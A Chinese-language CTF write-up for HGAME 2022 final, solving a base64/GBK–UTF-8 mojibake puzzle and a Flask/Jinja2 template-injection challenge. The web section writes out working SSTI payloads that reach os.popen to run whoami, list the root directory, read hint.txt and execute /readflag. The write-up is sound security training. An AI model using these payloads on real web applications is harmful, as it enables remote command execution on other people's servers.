HGAME 2022 FINAL writeup by ripple

  1. 1. HGAME 2022 FINAL writeup by ripple
    1. 1.1. MISC
      1. 1.1.1. 锟斤拷
    2. 1.2. Web
      1. 1.2.1. Final Flask

HGAME 2022 FINAL writeup by ripple

[TOC]

MISC

锟斤拷

一开始题目有问题,后来重新上线后用原来的方法做就行了。

下载打开附件1.cpp

得到一句注释:

1
//5aiG44ij57mL6Y+J44Ol5Z+M6ZSd5Zet57aB6ZSd5bqv57W56ZSd5bKA5q6R6ZCc5p2/5rqA6ZSb5bKL57aA6ZSd5Zu357W56ZSd5baP57W96ZSd5raz57aN6ZSd5peT57W+6ZSb5baP57St6ZSb5Zet57W/6ZSd5YKm57aD6ZSb5Yyh57aB6ZSd5pOE5LyO6ZSd5L6K5LyO6ZSd5ZKD57W56ZSd5pOE57aR6ZSb5Yyh57W96ZSd5bqv57W76ZSd5b+l57W86ZSd5aSb57aG6ZSd5Zu35LyO6ZSd5oS257aK6ZSd5b+l57W66ZSd5bKL57W96ZSd5baP57aV6ZSb5bKALua1o+eKu+OAjumNki4=

结尾有等号,猜测为base64,解码得:

1
娆㈣繋鏉ュ埌锝嗭綁锝庯絹锝岀殑鐜板満锛岋綀锝囷絹锝嶏絽锝涳綍锝旓絾锛嶏紭锛嗭絿锝傦綃锛匡綁锝擄伎锝侊伎锝咃絹锝擄綑锛匡絽锝庯絻锝忥絼锝夛綆锝囷伎锝愶綊锝忥絺锝岋絽锝嶏綕锛岀.浣犻『鍒.

是乱码,但是结合题目:锟斤拷,可以猜到有编码问题。

“锟斤拷” 的成因是 Unicode 的替换字符(Replacement Character,�)于 UTF-8 编码下的结果 EF BF BD 重复,在 GBK 编码中被解释为汉字 “锟斤拷”(EF BF BD EF BF BD)。因此对字符串使用 GBK 编码,并以 UTF-8 解释即可。(也就是逆着进行锟斤拷的操作)

(此段参考了SpiritCTF 2020 – Misc Official Writeup | KAAAsS’s blog中锟斤拷一题题解)

使用CyberChef得到全角的flag:

再把全角的flag转成半角即可:在线全角转半角网站

得到flag:hgame{utf-8&gbk_is_a_easy_encoding_problem}

Web

Final Flask

根据题目描述:

A small website writen by python flask Try to find the flag with your template injection!

可以猜测是Jinja2模板注入的题目

一开始想先找到所需的类的位置在去注入,写脚本一直出不来。

后来在学长的提醒下发现方向错了,由于网站在出现错误时返回的是500状态码,而如果找到对的位置肯定是正常返回,所以可以直接爆破。

用burpsuite开拦截随便输入一些后submit抓包再send to Intruder

构造的payload是:

1
message={{"".__class__.__bases__[0].__subclasses__()[§75§].__init__.__globals__.__import__('os').popen('whoami').read()}}

simple list从0到199爆破,筛选出200的状态码得到:

看来103、104、105、106都行,返回的是hgame2023,是whoami的执行结果,很对。

那接下来就可以为所欲为了

构造payload:

1
{{"".__class__.__bases__[0].__subclasses__()[106].__init__.__globals__.__import__('os').popen('ls /').read()}}

返回:

1
app bin boot dev etc flag hint.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var

看到flag了,直接cat发现无回显。

源代码里有提示hint.txt,这里我们也发现了这个文件,于是我们先去看看hint.txt是什么

1
{{"".__class__.__bases__[0].__subclasses__()[106].__init__.__globals__.__import__('os').popen('cat ../../../../hint.txt').read()}}

回显:

1
Do you know /readflag? Execute it!

那就直接运行/readflag试试看:

1
{{"".__class__.__bases__[0].__subclasses__()[106].__init__.__globals__.__import__('os').popen('/readflag').read()}}

得到flag:

flag: hgame{Temp1ate_1njecti0n_seE_yoU_NeXt_tIMe}